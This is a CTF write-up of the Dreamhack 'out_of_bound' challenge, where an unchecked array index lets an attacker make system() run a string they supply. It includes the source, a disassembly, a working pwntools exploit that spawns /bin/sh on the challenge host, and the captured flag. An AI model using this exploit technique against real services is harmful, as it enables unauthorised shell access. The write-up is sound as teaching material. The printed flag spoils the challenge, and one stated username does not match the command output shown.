Categories:

Tags:



Enumeration

System information is as follows.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Reading the source code reveals its mechanics.

  1. Reads from standard input and save it to idx.
  2. Run command[idx] from shell.
┌──(m0nk3y@kali)-[~/DH/out_of_bound]
└─$ cat out_of_bound.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

Exploitation

As the idx is not sanitized, we’ll be able to give any value and access the contents of name through command[idx]. To do so, I’ll disassemble the binary.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080486cb <+0>: lea    ecx,[esp+0x4]
   0x080486cf <+4>: and    esp,0xfffffff0
   0x080486d2 <+7>: push   DWORD PTR [ecx-0x4]
   0x080486d5 <+10>:    push   ebp
   0x080486d6 <+11>:    mov    ebp,esp
   0x080486d8 <+13>:    push   ecx
   0x080486d9 <+14>:    sub    esp,0x14
   0x080486dc <+17>:    mov    eax,gs:0x14
   0x080486e2 <+23>:    mov    DWORD PTR [ebp-0xc],eax
   0x080486e5 <+26>:    xor    eax,eax
   0x080486e7 <+28>:    call   0x804867b <initialize>
   0x080486ec <+33>:    sub    esp,0xc
   0x080486ef <+36>:    push   0x8048811
   0x080486f4 <+41>:    call   0x80484b0 <printf@plt>
   0x080486f9 <+46>:    add    esp,0x10
   0x080486fc <+49>:    sub    esp,0x4
   0x080486ff <+52>:    push   0x10
   0x08048701 <+54>:    push   0x804a0ac
   0x08048706 <+59>:    push   0x0
   0x08048708 <+61>:    call   0x80484a0 <read@plt>
   0x0804870d <+66>:    add    esp,0x10
   0x08048710 <+69>:    sub    esp,0xc
   0x08048713 <+72>:    push   0x804881e
   0x08048718 <+77>:    call   0x80484b0 <printf@plt>
   0x0804871d <+82>:    add    esp,0x10
   0x08048720 <+85>:    sub    esp,0x8
   0x08048723 <+88>:    lea    eax,[ebp-0x10]
   0x08048726 <+91>:    push   eax
   0x08048727 <+92>:    push   0x8048832
   0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
   0x08048731 <+102>:   add    esp,0x10
   0x08048734 <+105>:   mov    eax,DWORD PTR [ebp-0x10]
   0x08048737 <+108>:   mov    eax,DWORD PTR [eax*4+0x804a060]
   0x0804873e <+115>:   sub    esp,0xc
   0x08048741 <+118>:   push   eax
   0x08048742 <+119>:   call   0x8048500 <system@plt>
   0x08048747 <+124>:   add    esp,0x10
   0x0804874a <+127>:   mov    eax,0x0
   0x0804874f <+132>:   mov    edx,DWORD PTR [ebp-0xc]
   0x08048752 <+135>:   xor    edx,DWORD PTR gs:0x14
   0x08048759 <+142>:   je     0x8048760 <main+149>
   0x0804875b <+144>:   call   0x80484e0 <__stack_chk_fail@plt>
   0x08048760 <+149>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048763 <+152>:   leave
   0x08048764 <+153>:   lea    esp,[ecx-0x4]
   0x08048767 <+156>:   ret

Checking the memory address shows that the offset is 76 bytes between two variables.

command= 0x0804a060
name= 0x0804a0ac

I’ll write an exploit which will give me a shell.

┌──(m0nk3y@kali)-[~/DH/out_of_bound]
└─$ cat exploit.py
import sys
from pwn import *

client= remote(sys.argv[1], int(sys.argv[2]))

command= 0x0804a060
name= 0x0804a0ac

eip= p32(name+4)
payload= "/bin/sh"
idx= int((name-command)/4)

client.recv()
client.sendline(eip+payload)

client.recv()
client.sendline(str(idx))

client.interactive()

By running the exploit, I’m able to gain a shell as the user off_by_one_001.

┌──(m0nk3y@kali)-[~/DH/out_of_bound]
└─$ python2 exploit.py host1.dreamhack.games 22429
[+] Opening connection to host1.dreamhack.games on port 22429: Done
[*] Switching to interactive mode
$ id
uid=1000(out_of_bound) gid=1000(out_of_bound) groups=1000(out_of_bound)

Post Exploitation

With the shell acquired, I’m able to read the flag.

$ cat flag
DH{2524e20ddeee45f11c8eb91804d57296}